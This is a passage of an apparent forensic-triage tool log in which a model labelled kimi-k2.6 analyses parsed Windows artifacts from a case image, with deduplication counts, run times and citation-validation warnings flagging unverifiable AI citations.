  "artifact_name": "BAM/DAM",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T08:24:21.723Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__bam.csv",
  "artifact_key": "bam",
  "projection_columns": [
    "ts",
    "path",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/bam.csv"
}
2026-06-13T08:24:21.727Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__bam.csv",
  "annotated_rows": 6,
  "artifact_key": "bam",
  "removed_records": 17,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/bam.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T08:25:57.472Z analysis_completed
{
  "artifact_key": "bam",
  "artifact_name": "BAM/DAM",
  "duration_seconds": 95.749399,
  "status": "success",
  "token_count": 520
}
2026-06-13T08:25:57.477Z citation_validation
{
  "artifact_key": "bam",
  "citation_counts": {
    "columns": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "row_refs": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "timestamps": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "powershell.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 1,
  "warnings": [
    "Note: AI cited column 'powershell.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T08:25:57.481Z analysis_started
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T08:25:57.491Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__userassist.csv",
  "artifact_key": "userassist",
  "projection_columns": [
    "ts",
    "path",
    "number_of_executions",
    "application_focus_count",
    "application_focus_duration",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/userassist.csv"
}
2026-06-13T08:25:57.494Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__userassist.csv",
  "annotated_rows": 5,
  "artifact_key": "userassist",
  "removed_records": 5,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/userassist.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T08:27:49.886Z analysis_completed
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "duration_seconds": 112.401201,
  "status": "success",
  "token_count": 1250
}
2026-06-13T08:27:49.894Z citation_validation
{
  "artifact_key": "userassist",
  "citation_counts": {
    "columns": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "row_refs": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    },
    "timestamps": {
      "checked": 10,
      "skipped": 0,
      "total": 10
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "administrator.shieldbase",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "E7CF176E110C211B",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "kellee.espinoza",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "cmd.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 5,
  "warnings": [
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'administrator.shieldbase' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'E7CF176E110C211B' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'kellee.espinoza' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'cmd.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T08:27:49.897Z analysis_started
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T08:27:50.643Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__browser.history.csv",
  "artifact_key": "browser.history",
  "projection_columns": [
    "ts",
    "browser",
    "url",
    "title",
    "host",
    "visit_type",
    "visit_count",
    "typed",
    "hidden",
    "from_url",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/browser.history.csv"
}
2026-06-13T08:27:50.647Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__browser.history.csv",
  "annotated_rows": 6,
  "artifact_key": "browser.history",
  "removed_records": 6,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/browser.history.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T08:27:51.668Z chunked_analysis_started
{
  "artifact_key": "browser.history",
  "chunk_reason": "prompt_plus_inlined_CSV_attachment_fallback",
  "csv_budget_per_chunk": 197439,
  "total_chunks": 11
}
2026-06-13T09:03:33.830Z analysis_completed
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "chunked": true,
  "duration_seconds": 2143.929459,
  "processing_warnings": [],
  "status": "success",
  "token_count": 2655
}
2026-06-13T09:03:33.970Z citation_validation
{
  "artifact_key": "browser.history",
  "citation_counts": {
    "columns": {
      "checked": 13,
      "skipped": 0,
      "total": 13
    },
    "row_refs": {
      "checked": 20,
      "skipped": 0,
      "total": 20
    },
    "timestamps": {
      "checked": 20,
      "skipped": 0,
      "total": 20
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "jpallen",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "live.com",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "kellee.espinoza",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "iexplore.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "hidden",
      "match_status": "exact",
      "matched_header": "hidden"
    },
    {
      "cited": "True",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "title",
      "match_status": "exact",
      "matched_header": "title"
    },
    {
      "cited": "host",
      "match_status": "exact",
      "matched_header": "host"
    },
    {
      "cited": "visit_type",
      "match_status": "exact",
      "matched_header": "visit_type"
    }
  ],
  "warning_count": 8,
  "warnings": [
    "Note: AI cited timestamp 2018-05-23T05:57:56.627573+00:00 which could not be verified in the source data.",
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'jpallen' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'live.com' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'kellee.espinoza' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'iexplore.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'True' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'runas' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T09:03:33.975Z analysis_started
{
  "artifact_key": "powershell_history",
  "artifact_name": "PowerShell History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T09:03:33.979Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__powershell_history.csv",
  "artifact_key": "powershell_history",
  "projection_columns": [
    "mtime",
    "order",
    "command",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/powershell_history.csv"
}
2026-06-13T09:03:33.981Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__powershell_history.csv",
  "annotated_rows": 0,
  "artifact_key": "powershell_history",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/powershell_history.csv",
  "variant_columns": [
    "mtime"
  ]
}
2026-06-13T09:04:38.307Z analysis_completed
{
  "artifact_key": "powershell_history",
  "artifact_name": "PowerShell History",
  "duration_seconds": 64.329231,
  "status": "success",
  "token_count": 1174
}
2026-06-13T09:04:38.314Z citation_validation
{
  "artifact_key": "powershell_history",
  "citation_counts": {
    "columns": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "squirrreldirectory",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mtime",
      "match_status": "exact",
      "matched_header": "mtime"
    },
    {
      "cited": "ConsoleHost_history.txt",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 3,
  "warnings": [
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'squirrreldirectory' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'ConsoleHost_history.txt' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T09:04:38.317Z analysis_started
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T09:04:38.723Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__jumplist.automatic_destination.csv",
  "artifact_key": "jumplist.automatic_destination",
  "projection_columns": [
    "type",
    "application_name",
    "lnk_name",
    "lnk_full_path",
    "lnk_arguments",
    "local_base_path",
    "common_path_suffix",
    "lnk_path",
    "lnk_workdir",
    "lnk_net_name",
    "lnk_device_name",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/jumplist.automatic_destination.csv"
}
2026-06-13T09:04:38.726Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__jumplist.automatic_destination.csv",
  "annotated_rows": 0,
  "artifact_key": "jumplist.automatic_destination",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/jumplist.automatic_destination.csv",
  "variant_columns": [
    "lnk_arguments",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime"
  ]
}
2026-06-13T09:04:40.174Z chunked_analysis_started
{
  "artifact_key": "jumplist.automatic_destination",
  "chunk_reason": "prompt_plus_inlined_CSV_attachment_fallback",
  "csv_budget_per_chunk": 188232,
  "total_chunks": 17
}
2026-06-13T10:19:34.006Z analysis_completed
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "chunked": true,
  "duration_seconds": 4495.680423,
  "processing_warnings": [],
  "status": "success",
  "token_count": 3575
}
2026-06-13T10:19:34.274Z citation_validation
{
  "artifact_key": "jumplist.automatic_destination",
  "citation_counts": {
    "columns": {
      "checked": 25,
      "skipped": 0,
      "total": 25
    },
    "row_refs": {
      "checked": 16,
      "skipped": 0,
      "total": 16
    },
    "timestamps": {
      "checked": 27,
      "skipped": 0,
      "total": 27
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "lnk_atime",
      "match_status": "exact",
      "matched_header": "lnk_atime"
    },
    {
      "cited": "target_ctime",
      "match_status": "exact",
      "matched_header": "target_ctime"
    },
    {
      "cited": "jpallen",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Carbonadium",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Vibranium",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Unobtanium",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "lnk_ctime",
      "match_status": "exact",
      "matched_header": "lnk_ctime"
    },
    {
      "cited": "lnk_mtime",
      "match_status": "exact",
      "matched_header": "lnk_mtime"
    },
    {
      "cited": "f01b4d95cf55d32a",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 15,
  "warnings": [
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'jpallen' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Carbonadium' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Vibranium' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Unobtanium' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'f01b4d95cf55d32a' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'userAccountControl' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'administrator.shieldbase' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'kellee.espinoza' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'collaborationSpreadSheetDoc3513012194788184988.xls' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T10:19:34.279Z analysis_started
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T10:19:34.284Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__jumplist.custom_destination.csv",
  "artifact_key": "jumplist.custom_destination",
  "projection_columns": [
    "type",
    "application_name",
    "lnk_name",
    "lnk_full_path",
    "lnk_arguments",
    "local_base_path",
    "common_path_suffix",
    "lnk_path",
    "lnk_workdir",
    "lnk_net_name",
    "lnk_device_name",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/jumplist.custom_destination.csv"
}
2026-06-13T10:19:34.287Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__jumplist.custom_destination.csv",
  "annotated_rows": 4,
  "artifact_key": "jumplist.custom_destination",
  "removed_records": 8,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/jumplist.custom_destination.csv",
  "variant_columns": [
    "lnk_arguments",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime"
  ]
}
2026-06-13T10:21:26.201Z analysis_completed
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "duration_seconds": 111.919157,
  "status": "success",
  "token_count": 765
}
2026-06-13T10:21:26.207Z citation_validation
{
  "artifact_key": "jumplist.custom_destination",
  "citation_counts": {
    "columns": {
      "checked": 10,
      "skipped": 0,
      "total": 10
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "username",
      "match_status": "exact",
      "matched_header": "username"
    },
    {
      "cited": "lnk_path",
      "match_status": "exact",
      "matched_header": "lnk_path"
    },
    {
      "cited": "local_base_path",
      "match_status": "exact",
      "matched_header": "local_base_path"
    },
    {
      "cited": "lnk_mtime",
      "match_status": "exact",
      "matched_header": "lnk_mtime"
    },
    {
      "cited": "lnk_atime",
      "match_status": "exact",
      "matched_header": "lnk_atime"
    },
    {
      "cited": "lnk_ctime",
      "match_status": "exact",
      "matched_header": "lnk_ctime"
    },
    {
      "cited": "AutomaticDestinations",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "lnk_full_path",
      "match_status": "exact",
      "matched_header": "lnk_full_path"
    },
    {
      "cited": "lnk_arguments",
      "match_status": "exact",
      "matched_header": "lnk_arguments"
    }
  ],
  "warning_count": 2,
  "warnings": [
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'AutomaticDestinations' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T10:21:26.210Z analysis_started
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T10:21:26.216Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__shellbags.csv",
  "artifact_key": "shellbags",
  "projection_columns": [
    "ts_mtime",
    "ts_atime",
    "ts_btime",
    "type",
    "path",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/shellbags.csv"
}
2026-06-13T10:21:26.218Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__shellbags.csv",
  "annotated_rows": 0,
  "artifact_key": "shellbags",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/shellbags.csv",
  "variant_columns": [
    "ts_mtime",
    "ts_atime",
    "ts_btime"
  ]
}
2026-06-13T10:24:54.846Z analysis_completed
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "duration_seconds": 208.633526,
  "status": "success",
  "token_count": 1322
}
2026-06-13T10:24:54.851Z citation_validation
{
  "artifact_key": "shellbags",
  "citation_counts": {
    "columns": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    },
    "row_refs": {
      "checked": 18,
      "skipped": 0,
      "total": 18
    },
    "timestamps": {
      "checked": 15,
      "skipped": 0,
      "total": 15
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "Carbonadium",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Unobtanium",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Vibranium",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ts_atime",
      "match_status": "exact",
      "matched_header": "ts_atime"
    },
    {
      "cited": "ts_btime",
      "match_status": "exact",
      "matched_header": "ts_btime"
    },
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 4,
  "warnings": [
    "Note: AI cited column 'Carbonadium' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Unobtanium' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Vibranium' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T10:24:54.854Z analysis_started
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T10:24:54.858Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__sam.csv",
  "artifact_key": "sam",
  "projection_columns": [
    "ts",
    "rid",
    "username",
    "fullname",
    "admincomment",
    "usercomment",
    "lastlogin",
    "lastpasswordset",
    "lastincorrectlogin",
    "failedlogins",
    "logins",
    "flags"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/sam.csv"
}
2026-06-13T10:24:54.860Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__sam.csv",
  "annotated_rows": 0,
  "artifact_key": "sam",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/sam.csv",
  "variant_columns": [
    "ts",
    "lastlogin",
    "lastpasswordset",
    "lastincorrectlogin"
  ]
}
2026-06-13T10:26:26.625Z analysis_completed
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "duration_seconds": 91.767829,
  "status": "success",
  "token_count": 976
}
2026-06-13T10:26:26.629Z citation_validation
{
  "artifact_key": "sam",
  "citation_counts": {
    "columns": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    },
    "row_refs": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    },
    "timestamps": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "range_admin",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "shieldbase.lan",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "lastlogin",
      "match_status": "exact",
      "matched_header": "lastlogin"
    },
    {
      "cited": "lsass",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "NTDS.dit",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SECURITY",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 5,
  "warnings": [
    "Note: AI cited column 'range_admin' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'shieldbase.lan' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'lsass' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'NTDS.dit' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SECURITY' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T10:26:26.633Z analysis_started
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T10:26:26.636Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__network_history.csv",
  "artifact_key": "network_history",
  "projection_columns": [
    "created",
    "last_connected",
    "profile_name",
    "description",
    "dns_suffix",
    "first_network",
    "default_gateway_mac",
    "signature"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/network_history.csv"
}
2026-06-13T10:26:26.639Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed_deduplicated/c165a62c-fcc2-4feb-b9a0-5e42fe834047__network_history.csv",
  "annotated_rows": 0,
  "artifact_key": "network_history",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c165a62c-fcc2-4feb-b9a0-5e42fe834047/parsed/network_history.csv",
  "variant_columns": [
    "created",
    "last_connected",
    "first_network"
  ]
}
2026-06-13T10:28:32.148Z analysis_completed
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "duration_seconds": 125.511885,
  "status": "success",
  "token_count": 423
}
2026-06-13T10:28:32.153Z citation_validation
{
  "artifact_key": "network_history",
  "citation_counts": {
    "columns": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "row_refs": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "a2c6c7000704",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 1,
  "warnings": [
    "Note: AI cited column 'a2c6c7000704' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T10:28:32.156Z analysis_started
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T10:28:32.162Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__runkeys.csv",
  "artifact_key": "runkeys",
  "projection_columns": [
    "ts",
    "name",
    "command",
    "key",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/runkeys.csv"
}
2026-06-13T10:28:32.165Z artifact_deduplicated
{
